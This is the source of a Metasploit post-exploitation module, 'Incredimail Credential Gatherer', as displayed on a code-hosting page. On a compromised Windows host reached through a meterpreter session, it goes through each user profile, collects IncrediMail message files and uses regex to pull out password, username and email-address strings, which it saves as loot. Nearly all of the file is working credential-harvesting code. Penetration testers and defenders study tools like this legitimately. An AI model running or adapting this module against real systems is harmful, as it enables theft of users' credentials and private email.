Path: blob/master/modules/post/windows/gather/credentials/incredimail.rb
21550 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4class MetasploitModule < Msf::Post56include Msf::Post::File7include Msf::Post::Windows::UserProfiles8include Msf::Post::Windows::Packrat910ARTIFACTS =11{12application: 'incredimail',13app_category: 'emails',14gatherable_artifacts: [15{16filetypes: 'email_logs',17path: 'LocalAppData',18dir: 'IM',19artifact_file_name: 'msg.iml',20description: 'IncrediMail sent and received emails',21credential_type: 'text',22regex_search: [23{24extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',25extraction_type: 'credentials',26regex: [27'(?i-mx:password.*)',28'(?i-mx:username.*)'29]30},31{32extraction_description: 'searches for Email TO/FROM address',33extraction_type: 'Email addresses',34regex: [35'(?i-mx:to:.*)',36'(?i-mx:from:.*)'37]38}39]40}41]42}.freeze4344def initialize(info = {})45super(46update_info(47info,48'Name' => 'Incredimail Credential Gatherer',49'Description' => %q{50This module searches for Incredimail credentials on a Windows host.51},52'License' => MSF_LICENSE,53'Author' => [54'Kazuyoshi Maruta',55'Daniel Hallsworth',56'Barwar Salim M',57'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org58],59'Platform' => ['win'],60'SessionTypes' => ['meterpreter'],61'Notes' => {62'Stability' => [CRASH_SAFE],63'Reliability' => [],64'SideEffects' => []65}66)67)6869register_options(70[71OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),72OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),73OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),74# enumerates the options based on the artifacts that are defined below75OptEnum.new('ARTIFACTS', [76false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|77k[:filetypes]78end.uniq.unshift('All')79])80]81)82end8384def run85print_status('Filtering based on these selections: ')86print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")87print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")88print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")8990# used to grab files for each user on the remote host91grab_user_profiles.each do |userprofile|92run_packrat(userprofile, ARTIFACTS)93end9495print_status 'PackRat credential sweep completed'96end97end9899100